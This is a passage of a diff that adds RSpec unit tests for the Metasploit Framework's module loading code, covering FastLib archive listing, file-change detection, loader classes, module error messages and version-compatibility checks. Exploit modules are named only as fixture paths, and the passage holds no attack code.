||||
end
|
||||
|
||||
context 'list' do
|
||||
around(:each) do |example|
|
||||
Dir.mktmpdir do |directory|
|
||||
@destination_path = File.join(directory, "rspec#{extension}")
|
||||
|
||||
FastLib.dump(@destination_path, FastLib::FLAG_COMPRESS.to_s, base_path, *unarchived_paths)
|
||||
|
||||
example.run
|
||||
end
|
||||
end
|
||||
|
||||
# ensure modules expected to be listed actually exist
|
||||
it 'should use existent unarchived modules' do
|
||||
unarchived_paths.each do |unarchived_path|
|
||||
File.exist?(unarchived_path).should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'with cached dump', :pending => "Fix https://www.pivotaltracker.com/story/show/38730815" do
|
||||
it 'should have dump cached' do
|
||||
FastLib.cache[@destination_path].should_not be_nil
|
||||
end
|
||||
|
||||
it 'should list archived paths' do
|
||||
paths = FastLib.list(@destination_path)
|
||||
|
||||
paths.length.should == archived_paths.length
|
||||
paths.should == archived_paths
|
||||
end
|
||||
end
|
||||
|
||||
context 'without cached dump' do
|
||||
before(:each) do
|
||||
FastLib.cache.clear
|
||||
end
|
||||
|
||||
it 'should not have dump cache' do
|
||||
FastLib.cache[@destination_path].should be_nil
|
||||
end
|
||||
|
||||
it 'should list archived paths' do
|
||||
paths = FastLib.list(@destination_path)
|
||||
|
||||
paths.length.should == archived_paths.length
|
||||
paths.should == archived_paths
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -107,4 +107,82 @@ describe Msf::ModuleManager do
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
context '#file_changed?' do
|
||||
let(:module_basename) do
|
||||
[basename_prefix, '.rb']
|
||||
end
|
||||
|
||||
it 'should return true if module info is not cached' do
|
||||
Tempfile.open(module_basename) do |tempfile|
|
||||
module_path = tempfile.path
|
||||
|
||||
subject.send(:module_info_by_path)[module_path].should be_nil
|
||||
subject.file_changed?(module_path).should be_true
|
||||
end
|
||||
end
|
||||
|
||||
it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do
|
||||
Tempfile.open(module_basename) do |tempfile|
|
||||
module_path = tempfile.path
|
||||
modification_time = File.mtime(module_path)
|
||||
|
||||
subject.send(:module_info_by_path)[module_path] = {
|
||||
# :modification_time must match so that it is the :type that is causing the `true` and not the
|
||||
# :modification_time causing the `true`.
|
||||
:modification_time => modification_time,
|
||||
:type => Msf::MODULE_PAYLOAD
|
||||
}
|
||||
|
||||
subject.file_changed?(module_path).should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'with cache module info and not a payload module' do
|
||||
it 'should return true if the file does not exist on the file system' do
|
||||
tempfile = Tempfile.new(module_basename)
|
||||
module_path = tempfile.path
|
||||
modification_time = File.mtime(module_path).to_i
|
||||
|
||||
subject.send(:module_info_by_path)[module_path] = {
|
||||
:modification_time => modification_time
|
||||
}
|
||||
|
||||
tempfile.unlink
|
||||
|
||||
File.exist?(module_path).should be_false
|
||||
subject.file_changed?(module_path).should be_true
|
||||
end
|
||||
|
||||
it 'should return true if modification time does not match the cached modification time' do
|
||||
Tempfile.open(module_basename) do |tempfile|
|
||||
module_path = tempfile.path
|
||||
modification_time = File.mtime(module_path).to_i
|
||||
cached_modification_time = (modification_time * rand).to_i
|
||||
|
||||
subject.send(:module_info_by_path)[module_path] = {
|
||||
:modification_time => cached_modification_time
|
||||
}
|
||||
|
||||
cached_modification_time.should_not == modification_time
|
||||
subject.file_changed?(module_path).should be_true
|
||||
end
|
||||
end
|
||||
|
||||
it 'should return false if modification time does match the cached modification time' do
|
||||
Tempfile.open(module_basename) do |tempfile|
|
||||
module_path = tempfile.path
|
||||
modification_time = File.mtime(module_path).to_i
|
||||
cached_modification_time = modification_time
|
||||
|
||||
subject.send(:module_info_by_path)[module_path] = {
|
||||
:modification_time => cached_modification_time
|
||||
}
|
||||
|
||||
cached_modification_time.should == modification_time
|
||||
subject.file_changed?(module_path).should be_false
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,101 @@
|
|||
require 'spec_helper'
|
||||
|
||||
describe Msf::Modules::Error do
|
||||
context 'instance methods' do
|
||||
context '#initialize' do
|
||||
include_context 'Msf::Modules::Error attributes'
|
||||
|
||||
context 'with :causal_message' do
|
||||
subject do
|
||||
described_class.new(:causal_message => causal_message)
|
||||
end
|
||||
|
||||
it 'should include causal_message in error' do
|
||||
subject.to_s.should == "Failed to load module due to #{causal_message}"
|
||||
end
|
||||
end
|
||||
|
||||
context 'with :causal_message and :module_path' do
|
||||
subject do
|
||||
described_class.new(
|
||||
:causal_message => causal_message,
|
||||
:module_path => module_path
|
||||
)
|
||||
end
|
||||
|
||||
it 'should include causal_message and module_path in error' do
|
||||
subject.to_s.should == "Failed to load module (from #{module_path}) due to #{causal_message}"
|
||||
end
|
||||
end
|
||||
|
||||
context 'with :causal_message and :module_reference_name' do
|
||||
subject do
|
||||
described_class.new(
|
||||
:causal_message => causal_message,
|
||||
:module_reference_name => module_reference_name
|
||||
)
|
||||
end
|
||||
|
||||
it 'should include causal_message and module_reference_name in error' do
|
||||
subject.to_s.should == "Failed to load module (#{module_reference_name}) due to #{causal_message}"
|
||||
end
|
||||
end
|
||||
|
||||
context 'with :causal_message, :module_path, and :module_reference_nam' do
|
||||
subject do
|
||||
described_class.new(
|
||||
:causal_message => causal_message,
|
||||
:module_path => module_path,
|
||||
:module_reference_name => module_reference_name
|
||||
)
|
||||
end
|
||||
|
||||
it 'should include causal_message, module_path, and module_reference_name in error' do
|
||||
subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path}) due to #{causal_message}"
|
||||
end
|
||||
end
|
||||
|
||||
context 'with :module_path' do
|
||||
subject do
|
||||
described_class.new(:module_path => module_path)
|
||||
end
|
||||
|
||||
it 'should use :module_path for module_path' do
|
||||
subject.module_path.should == module_path
|
||||
end
|
||||
|
||||
it 'should include module_path in error' do
|
||||
subject.to_s.should == "Failed to load module (from #{module_path})"
|
||||
end
|
||||
end
|
||||
|
||||
context 'with :module_path and :module_reference_name' do
|
||||
subject do
|
||||
described_class.new(
|
||||
:module_path => module_path,
|
||||
:module_reference_name => module_reference_name
|
||||
)
|
||||
end
|
||||
|
||||
it 'should include module_path and module_reference_name in error' do
|
||||
subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path})"
|
||||
end
|
||||
end
|
||||
|
||||
context 'with :module_reference_name' do
|
||||
subject do
|
||||
described_class.new(:module_reference_name => module_reference_name)
|
||||
end
|
||||
|
||||
it 'should use :module_reference_name for module_reference_name' do
|
||||
subject.module_reference_name.should == module_reference_name
|
||||
end
|
||||
|
||||
it 'should include module_reference_name in error' do
|
||||
subject.to_s.should == "Failed to load module (#{module_reference_name})"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,275 @@
|
|||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
describe Msf::Modules::Loader::Archive do
|
||||
let(:archive_extension) do
|
||||
'.fastlib'
|
||||
end
|
||||
|
||||
context 'CONSTANTS' do
|
||||
it 'should have extension' do
|
||||
described_class::ARCHIVE_EXTENSION.should == archive_extension
|
||||
end
|
||||
end
|
||||
|
||||
context 'instance methods' do
|
||||
let(:enabled_type) do
|
||||
'exploit'
|
||||
end
|
||||
|
||||
let(:enabled_type_directory) do
|
||||
'exploits'
|
||||
end
|
||||
|
||||
let(:framework) do
|
||||
mock('Framework')
|
||||
end
|
||||
|
||||
let(:module_extension) do
|
||||
'.rb'
|
||||
end
|
||||
|
||||
let(:module_manager) do
|
||||
# DO NOT mock module_manager to ensure that no protected methods are being called.
|
||||
Msf::ModuleManager.new(framework, [enabled_type])
|
||||
end
|
||||
|
||||
let(:module_reference_name) do
|
||||
'module/reference/name'
|
||||
end
|
||||
|
||||
subject do
|
||||
described_class.new(module_manager)
|
||||
end
|
||||
|
||||
context '#each_module_reference_name' do
|
||||
let(:disabled_module_content) do
|
||||
<<-EOS
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
EOS
|
||||
end
|
||||
|
||||
let(:disabled_type) do
|
||||
'auxiliary'
|
||||
end
|
||||
|
||||
let(:disabled_type_directory) do
|
||||
'auxiliary'
|
||||
end
|
||||
|
||||
let(:enabled_module_content) do
|
||||
<<-EOS
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
EOS
|
||||
end
|
||||
|
||||
around(:each) do |example|
|
||||
Dir.mktmpdir do |directory|
|
||||
@base_path = directory
|
||||
|
||||
# make a .svn directory to be ignored
|
||||
subversion_path = File.join(@base_path, '.svn')
|
||||
FileUtils.mkdir_p subversion_path
|
||||
|
||||
# make a type directory that should be ignored because it's not enabled
|
||||
disabled_type_path = File.join(@base_path, disabled_type_directory)
|
||||
FileUtils.mkdir_p disabled_type_path
|
||||
|
||||
#
|
||||
# create a valid module in the disabled type directory to make sure it's the enablement that's preventing the
|
||||
# yield
|
||||
#
|
||||
|
||||
disabled_module_path = File.join(disabled_type_path, "#{disabled_type}#{module_extension}")
|
||||
|
||||
File.open(disabled_module_path, 'wb') do |f|
|
||||
f.write(disabled_module_content)
|
||||
end
|
||||
|
||||
# make a type directory that should not be ignored because it is enabled
|
||||
enabled_module_path = File.join(
|
||||
@base_path,
|
||||
enabled_type_directory,
|
||||
"#{module_reference_name}#{module_extension}"
|
||||
)
|
||||
enabled_module_directory = File.dirname(enabled_module_path)
|
||||
FileUtils.mkdir_p enabled_module_directory
|
||||
|
||||
File.open(enabled_module_path, 'wb') do |f|
|
||||
f.write(enabled_module_content)
|
||||
end
|
||||
|
||||
Dir.mktmpdir do |archive_directory|
|
||||
@archive_path = File.join(archive_directory, "rspec#{archive_extension}")
|
||||
FastLib.dump(@archive_path, FastLib::FLAG_COMPRESS.to_s(16), @base_path, @base_path)
|
||||
|
||||
# @todo Fix https://www.pivotaltracker.com/story/show/38730815 and the cache won't need to be cleared as a work-around
|
||||
FastLib.cache.clear
|
||||
|
||||
example.run
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# this checks that the around(:each) is working
|
||||
it 'should have an existent FastLib' do
|
||||
File.exist?(@archive_path).should be_true
|
||||
end
|
||||
|
||||
it 'should ignore .svn directories' do
|
||||
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
|
||||
parent_path.should_not include('.svn')
|
||||
end
|
||||
end
|
||||
|
||||
it 'should ignore types that are not enabled' do
|
||||
module_manager.type_enabled?(disabled_type).should be_false
|
||||
|
||||
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
|
||||
type.should_not == disabled_type
|
||||
end
|
||||
end
|
||||
|
||||
it 'should yield (parent_path, type, module_reference_name) with parent_path equal to the archive path' do
|
||||
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
|
||||
parent_path.should == @archive_path
|
||||
end
|
||||
end
|
||||
|
||||
it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do
|
||||
module_manager.type_enabled?(enabled_type).should be_true
|
||||
|
||||
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
|
||||
type.should == enabled_type
|
||||
end
|
||||
end
|
||||
|
||||
it 'should yield (path, type, module_reference_name) with module_reference_name without extension' do
|
||||
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
|
||||
module_reference_name.should_not match(/#{Regexp.escape(module_extension)}$/)
|
||||
module_reference_name.should == module_reference_name
|
||||
end
|
||||
end
|
||||
|
||||
# ensure that the block is actually being run so that shoulds in the block aren't just being skipped
|
||||
it 'should yield the correct number of tuples' do
|
||||
actual_count = 0
|
||||
|
||||
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
|
||||
actual_count += 1
|
||||
end
|
||||
|
||||
actual_count.should == 1
|
||||
end
|
||||
end
|
||||
|
||||
context '#loadable?' do
|
||||
it 'should return true if the path has ARCHIVE_EXTENSION as file extension' do
|
||||
path = "path/to/archive#{archive_extension}"
|
||||
|
||||
File.extname(path).should == described_class::ARCHIVE_EXTENSION
|
||||
subject.loadable?(path).should be_true
|
||||
end
|
||||
|
||||
it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do
|
||||
path = "path/to/archive#{archive_extension}.bak"
|
||||
|
||||
path.should include(described_class::ARCHIVE_EXTENSION)
|
||||
File.extname(path).should_not == described_class::ARCHIVE_EXTENSION
|
||||
subject.loadable?(path).should be_false
|
||||
end
|
||||
end
|
||||
|
||||
context '#module_path' do
|
||||
let(:parent_path) do
|
||||
"path/to/archive#{archive_extension}"
|
||||
end
|
||||
|
||||
let(:type) do
|
||||
'exploit'
|
||||
end
|
||||
|
||||
let(:type_directory) do
|
||||
'exploits'
|
||||
end
|
||||
|
||||
it 'should use typed_path to convert the type name to a type directory' do
|
||||
subject.should_receive(:typed_path).with(type, module_reference_name)
|
||||
|
||||
subject.send(:module_path, parent_path, type, module_reference_name)
|
||||
end
|
||||
|
||||
it "should separate the archive path from the entry path with '::'" do
|
||||
module_path = subject.send(:module_path, parent_path, type, module_reference_name)
|
||||
|
||||
module_path.should == "#{parent_path}::#{type_directory}/#{module_reference_name}.rb"
|
||||
end
|
||||
end
|
||||
|
||||
context '#read_module_path' do
|
||||
let(:module_reference_name) do
|
||||
'windows/smb/ms08_067_netapi'
|
||||
end
|
||||
|
||||
let(:type) do
|
||||
enabled_type
|
||||
end
|
||||
|
||||
let(:type_directory) do
|
||||
enabled_type_directory
|
||||
end
|
||||
|
||||
let(:archived_path) do
|
||||
File.join(type_directory, "#{module_reference_name}#{module_extension}")
|
||||
end
|
||||
|
||||
let(:base_path) do
|
||||
File.join(Msf::Config.install_root, 'modules')
|
||||
end
|
||||
|
||||
let(:flag_string) do
|
||||
flags.to_s(16)
|
||||
end
|
||||
|
||||
let(:flags) do
|
||||
0x0
|
||||
end
|
||||
|
||||
let(:unarchived_path) do
|
||||
File.join(base_path, archived_path)
|
||||
end
|
||||
|
||||
it 'should read modules that exist' do
|
||||
File.exist?(unarchived_path).should be_true
|
||||
end
|
||||
|
||||
around(:each) do |example|
|
||||
Dir.mktmpdir do |directory|
|
||||
@parent_path = File.join(directory, 'rspec.fastlib')
|
||||
|
||||
FastLib.dump(@parent_path, flag_string, base_path, unarchived_path)
|
||||
|
||||
# @todo Fix https://www.pivotaltracker.com/story/show/38730815 so cache from dump is correct
|
||||
FastLib.cache.clear
|
||||
|
||||
example.run
|
||||
end
|
||||
end
|
||||
|
||||
context 'with uncompressed archive' do
|
||||
it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content'
|
||||
end
|
||||
|
||||
context 'with compressed archive' do
|
||||
let(:flags) do
|
||||
FastLib::FLAG_COMPRESS
|
||||
end
|
||||
|
||||
it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,127 @@
|
|||
require 'spec_helper'
|
||||
require 'msf/core'
|
||||
require 'msf/core/modules/loader/directory'
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
describe Msf::Modules::Loader::Directory do
|
||||
context 'instance methods' do
|
||||
include_context 'Msf::Modules::Loader::Base'
|
||||
|
||||
let(:module_manager) do
|
||||
mock('Module Manager')
|
||||
end
|
||||
|
||||
let(:module_path) do
|
||||
"#{parent_path}/exploits/#{module_reference_name}.rb"
|
||||
end
|
||||
|
||||
let(:type) do
|
||||
'exploit'
|
||||
end
|
||||
|
||||
subject do
|
||||
described_class.new(module_manager)
|
||||
end
|
||||
|
||||
context '#load_module' do
|
||||
context 'with existent module_path' do
|
||||
let(:framework) do
|
||||
framework = mock('Msf::Framework', :datastore => {})
|
||||
|
||||
events = mock('Events')
|
||||
events.stub(:on_module_load)
|
||||
events.stub(:on_module_created)
|
||||
framework.stub(:events => events)
|
||||
|
||||
framework
|
||||
end
|
||||
|
||||
let(:module_full_name) do
|
||||
"#{type}/#{module_reference_name}"
|
||||
end
|
||||
|
||||
let(:module_manager) do
|
||||
Msf::ModuleManager.new(framework)
|
||||
end
|
||||
|
||||
let(:module_reference_name) do
|
||||
'windows/smb/ms08_067_netapi'
|
||||
end
|
||||
|
||||
it 'should load a module that can be created' do
|
||||
subject.load_module(parent_path, type, module_reference_name).should be_true
|
||||
|
||||
created_module = module_manager.create(module_full_name)
|
||||
|
||||
created_module.name.should == 'Microsoft Server Service Relative Path Stack Corruption'
|
||||
end
|
||||
end
|
||||
|
||||
context 'without existent module_path' do
|
||||
let(:module_reference_name) do
|
||||
'osx/armle/safari_libtiff'
|
||||
end
|
||||
|
||||
let(:error) do
|
||||
Errno::ENOENT.new(module_path)
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
module_manager.stub(:file_changed? => true)
|
||||
module_manager.stub(:module_load_error_by_path => {})
|
||||
end
|
||||
|
||||
it 'should not raise an error' do
|
||||
File.exist?(module_path).should be_false
|
||||
|
||||
expect {
|
||||
subject.load_module(parent_path, type, module_reference_name)
|
||||
}.to_not raise_error
|
||||
end
|
||||
|
||||
it 'should return false' do
|
||||
File.exist?(module_path).should be_false
|
||||
|
||||
subject.load_module(parent_path, type, module_reference_name).should be_false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context '#read_module_content' do
|
||||
context 'with non-existent module_path' do
|
||||
let(:module_reference_name) do
|
||||
'osx/armle/safari_libtiff'
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
subject.stub(:load_error).with(module_path, kind_of(Errno::ENOENT))
|
||||
end
|
||||
|
||||
# this ensures that the File.exist?(module_path) checks are checking the same path as the code under test
|
||||
it 'should attempt to open the expected module_path' do
|
||||
File.should_receive(:open).with(module_path, 'rb')
|
||||
File.exist?(module_path).should be_false
|
||||
|
||||
subject.send(:read_module_content, parent_path, type, module_reference_name)
|
||||
end
|
||||
|
||||
it 'should not raise an error' do
|
||||
expect {
|
||||
subject.send(:read_module_content, parent_path, type, module_reference_name)
|
||||
}.to_not raise_error
|
||||
end
|
||||
|
||||
it 'should return an empty string' do
|
||||
subject.send(:read_module_content, parent_path, type, module_reference_name).should == ''
|
||||
end
|
||||
|
||||
it 'should record the load error' do
|
||||
subject.should_receive(:load_error).with(module_path, kind_of(Errno::ENOENT))
|
||||
|
||||
subject.send(:read_module_content, parent_path, type, module_reference_name).should == ''
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,7 @@
|
|||
require 'spec_helper'
|
||||
|
||||
require 'msf/core/modules/metasploit_class_compatibility_error'
|
||||
|
||||
describe Msf::Modules::MetasploitClassCompatibilityError do
|
||||
it_should_behave_like 'Msf::Modules::Error subclass #initialize'
|
||||
end
|
|
@ -0,0 +1,267 @@
|
|||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/modules/namespace'
|
||||
|
||||
describe Msf::Modules::Namespace do
|
||||
let(:module_path) do
|
||||
"parent/path/type_directory/#{module_reference_name}.rb"
|
||||
end
|
||||
|
||||
let(:module_reference_name) do
|
||||
'module/reference/name'
|
||||
end
|
||||
|
||||
subject do
|
||||
mod = Module.new
|
||||
mod.extend described_class
|
||||
|
||||
mod
|
||||
end
|
||||
|
||||
context 'metasploit_class' do
|
||||
before(:each) do
|
||||
if major
|
||||
subject.const_set("Metasploit#{major}", Class.new)
|
||||
end
|
||||
end
|
||||
|
||||
context 'without Metasploit<n> constant defined' do
|
||||
let(:major) do
|
||||
nil
|
||||
end
|
||||
|
||||
it 'should not be defined' do
|
||||
metasploit_constants = subject.constants.select { |constant|
|
||||
constant.to_s =~ /Metasploit/
|
||||
}
|
||||
|
||||
metasploit_constants.should be_empty
|
||||
end
|
||||
end
|
||||
|
||||
context 'with Metasploit1 constant defined' do
|
||||
let(:major) do
|
||||
1
|
||||
end
|
||||
|
||||
it 'should be defined' do
|
||||
subject.const_defined?('Metasploit1').should be_true
|
||||
end
|
||||
|
||||
it 'should return the class' do
|
||||
subject.metasploit_class.should be_a Class
|
||||
end
|
||||
end
|
||||
|
||||
context 'with Metasploit2 constant defined' do
|
||||
let(:major) do
|
||||
2
|
||||
end
|
||||
|
||||
it 'should be defined' do
|
||||
subject.const_defined?('Metasploit2').should be_true
|
||||
end
|
||||
|
||||
it 'should return the class' do
|
||||
subject.metasploit_class.should be_a Class
|
||||
end
|
||||
end
|
||||
|
||||
context 'with Metasploit3 constant defined' do
|
||||
let(:major) do
|
||||
3
|
||||
end
|
||||
|
||||
it 'should be defined' do
|
||||
subject.const_defined?('Metasploit3').should be_true
|
||||
end
|
||||
|
||||
it 'should return the class' do
|
||||
subject.metasploit_class.should be_a Class
|
||||
end
|
||||
end
|
||||
|
||||
context 'with Metasploit4 constant defined' do
|
||||
let(:major) do
|
||||
4
|
||||
end
|
||||
|
||||
it 'should be defined' do
|
||||
subject.const_defined?('Metasploit4').should be_true
|
||||
end
|
||||
|
||||
it 'should return the class' do
|
||||
subject.metasploit_class.should be_a Class
|
||||
end
|
||||
end
|
||||
|
||||
context 'with Metasploit5 constant defined' do
|
||||
let(:major) do
|
||||
5
|
||||
end
|
||||
|
||||
it 'should be defined' do
|
||||
subject.const_defined?('Metasploit5').should be_true
|
||||
end
|
||||
|
||||
it 'should be newer than Msf::Framework::Major' do
|
||||
major.should > Msf::Framework::Major
|
||||
end
|
||||
|
||||
it 'should return nil' do
|
||||
subject.metasploit_class.should be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'metasploit_class!' do
|
||||
it 'should call metasploit_class' do
|
||||
subject.should_receive(:metasploit_class).and_return(Class.new)
|
||||
|
||||
subject.metasploit_class!(module_path, module_reference_name)
|
||||
end
|
||||
|
||||
context 'with metasploit_class' do
|
||||
let(:metasploit_class) do
|
||||
Class.new
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
subject.stub(:metasploit_class => metasploit_class)
|
||||
end
|
||||
|
||||
it 'should return the metasploit_class' do
|
||||
subject.metasploit_class!(module_path, module_reference_name).should == metasploit_class
|
||||
end
|
||||
end
|
||||
|
||||
context 'without metasploit_class' do
|
||||
before(:each) do
|
||||
subject.stub(:metasploit_class => nil)
|
||||
end
|
||||
|
||||
it 'should raise a Msf::Modules::MetasploitClassCompatibilityError' do
|
||||
expect {
|
||||
subject.metasploit_class!(module_path, module_reference_name)
|
||||
}.to raise_error(Msf::Modules::MetasploitClassCompatibilityError)
|
||||
end
|
||||
|
||||
context 'the Msf::Modules::MetasploitClassCompatibilityError' do
|
||||
it 'should include the module path' do
|
||||
error = nil
|
||||
|
||||
begin
|
||||
subject.metasploit_class!(module_path, module_reference_name)
|
||||
rescue Msf::Modules::MetasploitClassCompatibilityError => error
|
||||
end
|
||||
|
||||
error.should_not be_nil
|
||||
error.to_s.should include(module_path)
|
||||
end
|
||||
|
||||
it 'should include the module reference name' do
|
||||
error = nil
|
||||
|
||||
begin
|
||||
subject.metasploit_class!(module_path, module_reference_name)
|
||||
rescue Msf::Modules::MetasploitClassCompatibilityError => error
|
||||
end
|
||||
|
||||
error.should_not be_nil
|
||||
error.to_s.should include(module_reference_name)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'version_compatible!' do
|
||||
context 'without RequiredVersions' do
|
||||
it 'should not be defined' do
|
||||
subject.const_defined?('RequiredVersions').should be_false
|
||||
end
|
||||
|
||||
it 'should not raise an error' do
|
||||
expect {
|
||||
subject.version_compatible!(module_path, module_reference_name)
|
||||
}.to_not raise_error
|
||||
end
|
||||
end
|
||||
|
||||
context 'with RequiredVersions defined' do
|
||||
let(:minimum_api_version) do
|
||||
1
|
||||
end
|
||||
|
||||
let(:minimum_core_version) do
|
||||
1
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
subject.const_set(
|
||||
:RequiredVersions,
|
||||
[
|
||||
minimum_core_version,
|
||||
minimum_api_version
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
context 'with minimum Core version' do
|
||||
it 'should be <= Msf::Framework::VersionCore' do
|
||||
minimum_core_version.should <= Msf::Framework::VersionCore
|
||||
end
|
||||
|
||||
context 'without minimum API version' do
|
||||
let(:minimum_api_version) do
|
||||
2
|
||||
end
|
||||
|
||||
it 'should be > Msf::Framework::VersionAPI' do
|
||||
minimum_api_version.should > Msf::Framework::VersionAPI
|
||||
end
|
||||
|
||||
it_should_behave_like 'Msf::Modules::VersionCompatibilityError'
|
||||
end
|
||||
|
||||
context 'with minimum API version' do
|
||||
it 'should not raise an error' do
|
||||
expect {
|
||||
subject.version_compatible!(module_path, module_reference_name)
|
||||
}.to_not raise_error(Msf::Modules::VersionCompatibilityError)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'without minimum Core version' do
|
||||
let(:minimum_core_version) do
|
||||
5
|
||||
end
|
||||
|
||||
it 'should be > Msf::Framework::VersionCore' do
|
||||
minimum_core_version.should > Msf::Framework::VersionCore
|
||||
end
|
||||
|
||||
context 'without minimum API version' do
|
||||
let(:minimum_api_version) do
|
||||
2
|
||||
end
|
||||
|
||||
it 'should be > Msf::Framework::VersionAPI' do
|
||||
minimum_api_version.should > Msf::Framework::VersionAPI
|
||||
end
|
||||
|
||||
it_should_behave_like 'Msf::Modules::VersionCompatibilityError'
|
||||
end
|
||||
|
||||
context 'with minimum API version' do
|
||||
it 'should be <= Msf::Framework::VersionAPI' do
|
||||
minimum_api_version <= Msf::Framework::VersionAPI
|
||||
end
|
||||
|
||||
it_should_behave_like 'Msf::Modules::VersionCompatibilityError'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,62 @@
|
|||
require 'spec_helper'
|
||||
|
||||
describe Msf::Modules::VersionCompatibilityError do
|
||||
it_should_behave_like 'Msf::Modules::Error subclass #initialize' do
|
||||
let(:minimum_api_version) do
|
||||
1
|
||||
end
|
||||
|
||||
let(:minimum_core_version) do
|
||||
2
|
||||
end
|
||||
|
||||
it 'should say cause was version check' do
|
||||
subject.to_s.should match(/due to version check/)
|
||||
end
|
||||
|
||||
context 'with :minimum_api_version' do
|
||||
subject do
|
||||
described_class.new(
|
||||
:minimum_api_version => minimum_api_version
|
||||
)
|
||||
end
|
||||
|
||||
it 'should set minimum_api_version' do
|
||||
subject.minimum_api_version.should == minimum_api_version
|
||||
end
|
||||
|
||||
it 'should include minimum_api_version in error' do
|
||||
subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version}\)/)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with :minimum_api_version and :minimum_core_version' do
|
||||
subject do
|
||||
described_class.new(
|
||||
:minimum_api_version => minimum_api_version,
|
||||
:minimum_core_version => minimum_core_version
|
||||
)
|
||||
end
|
||||
|
||||
it 'should include minimum_api_version and minimum_core_version in error' do
|
||||
subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version} and Core >= #{minimum_core_version}\)/)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with :minimum_core_version' do
|
||||
subject do
|
||||
described_class.new(
|
||||
:minimum_core_version => minimum_core_version
|
||||
)
|
||||
end
|
||||
|
||||
it 'should set minimum_core_version' do
|
||||
subject.minimum_core_version.should == minimum_core_version
|
||||
end
|
||||
|
||||
it 'should include minimum_core_version in error' do
|
||||
subject.to_s.should match(/due to version check \(requires Core >= #{minimum_core_version}\)/)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -8,6 +8,11 @@ root_pathname = spec_pathname.join('..').expand_path
|
|||
lib_pathname = root_pathname.join('lib')
|
||||
$LOAD_PATH.unshift(lib_pathname.to_s)
|
||||
|
||||
# must be first require and started before any other requires so that it can measure coverage of all following required
|
||||
# code. It is after the rubygems and bundler only because Bundler.setup supplies the LOAD_PATH to simplecov.
|
||||
require 'simplecov'
|
||||
SimpleCov.start
|
||||
|
||||
require 'rspec/core'
|
||||
|
||||
# Requires supporting ruby files with custom matchers and macros, etc,
|
||||
|
|
|
@ -0,0 +1,13 @@
|
|||
shared_context 'Msf::Modules::Error attributes' do
|
||||
let(:causal_message) do
|
||||
'rspec'
|
||||
end
|
||||
|
||||
let(:module_path) do
|
||||
"parent/path/type/#{module_reference_name}.rb"
|
||||
end
|
||||
|
||||
let(:module_reference_name) do
|
||||
'module/reference/name'
|
||||
end
|
||||
end
|
|
@ -0,0 +1,13 @@
|
|||
shared_context "Msf::Modules::Loader::Base" do
|
||||
let(:parent_path) do
|
||||
parent_pathname.to_s
|
||||
end
|
||||
|
||||
let(:parent_pathname) do
|
||||
root_pathname.join('modules')
|
||||
end
|
||||
|
||||
let(:root_pathname) do
|
||||
Pathname.new(Msf::Config.install_root)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,26 @@
|
|||
shared_examples_for 'Msf::Modules::Error subclass #initialize' do
|
||||
context 'instance methods' do
|
||||
context '#initialize' do
|
||||
include_context 'Msf::Modules::Error attributes'
|
||||
|
||||
subject do
|
||||
described_class.new(
|
||||
:module_path => module_path,
|
||||
:module_reference_name => module_reference_name
|
||||
)
|
||||
end
|
||||
|
||||
it 'should include causal message in error' do
|
||||
subject.to_s.should match(/due to .*/)
|
||||
end
|
||||
|
||||
it 'should set module_path' do
|
||||
subject.module_path.should == module_path
|
||||
end
|
||||
|
||||
it 'should set module_reference_name' do
|
||||
subject.module_reference_name.should == module_reference_name
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,13 @@
|
|||
shared_examples_for 'Msf::Modules::Loader::Archive#read_module_content' do
|
||||
it 'should be able to read the module content' do
|
||||
archived_module_content = subject.send(:read_module_content, @parent_path, type, module_reference_name)
|
||||
unarchived_module_content = ''
|
||||
|
||||
File.open(unarchived_path) do |f|
|
||||
unarchived_module_content = f.read
|
||||
end
|
||||
|
